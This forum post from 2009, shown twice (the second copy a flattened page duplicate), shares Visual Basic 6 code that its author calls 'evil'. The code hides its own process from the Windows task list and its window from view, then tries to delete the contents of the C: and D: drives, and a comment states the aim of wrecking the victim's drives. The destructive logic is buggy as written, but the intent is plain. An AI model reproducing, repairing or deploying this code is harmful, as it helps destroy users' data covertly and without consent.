I was bored and feelin' evil (quote)

~~coryallen2~~ · 03-04-2009, 09:12 AM

i love evil API...

Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0

Private Sub HideIt()
On Error Resume Next
Dim Process_ID As Long
Dim Register_Service As Long
Process_ID = GetCurrentProcessID()
Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE)
End Sub

Private Sub Form_Load()
On Error Resume Next
Call HideIt
Me.Hide
App.TaskVisible = False
Dim path As String
'if user does not have drive D (Backup/Restore)
'it will beep, but will recursively **** up any
'other drives specied
If Error Then GoTo Err
If FileExists("C:\") & ("D:\") = True Then
Kill "C:\" & "D:\"
If DriveExists("C:\") & ("D:\") Then
Kill "C:\" & "D:\"
Else
GoTo Err
End If
End If
Err: Beep
End Sub

put this in your modile...

Public Function FileExists(sFileName As String) As Boolean
If Len(sFileName$) = 0 Then
FileExists = False
Exit Function
End If
If Len(Dir$(sFileName$)) Then
FileExists = True
Else
FileExists = False
End If
End Function

Public Function DriveExists(sDriveName As String) As Boolean
If Len(sDriveName$) = 0 Then
DriveExists = False
Exit Function
End If
If Len(Dir$(sDriveName$)) Then
DriveExists = True
Else
DriveExists = False
End If
End Function

03-04-2009, 09:12 AM	#1 (permalink)
~~coryallen2~~ Account Disabled Join Date: Feb 2009 Location: lorain,ohio Posts: 909	I was bored and feelin' evil i love evil API... Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Private Const RSP_SIMPLE_SERVICE = 1 Private Const RSP_UNREGISTER_SERVICE = 0 Private Sub HideIt() On Error Resume Next Dim Process_ID As Long Dim Register_Service As Long Process_ID = GetCurrentProcessID() Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE) End Sub Private Sub Form_Load() On Error Resume Next Call HideIt Me.Hide App.TaskVisible = False Dim path As String 'if user does not have drive D (Backup/Restore) 'it will beep, but will recursively **** up any 'other drives specied If Error Then GoTo Err If FileExists("C:\") & ("D:\") = True Then Kill "C:\" & "D:\" If DriveExists("C:\") & ("D:\") Then Kill "C:\" & "D:\" Else GoTo Err End If End If Err: Beep End Sub put this in your modile... Public Function FileExists(sFileName As String) As Boolean If Len(sFileName$) = 0 Then FileExists = False Exit Function End If If Len(Dir$(sFileName$)) Then FileExists = True Else FileExists = False End If End Function Public Function DriveExists(sDriveName As String) As Boolean If Len(sDriveName$) = 0 Then DriveExists = False Exit Function End If If Len(Dir$(sDriveName$)) Then DriveExists = True Else DriveExists = False End If End Function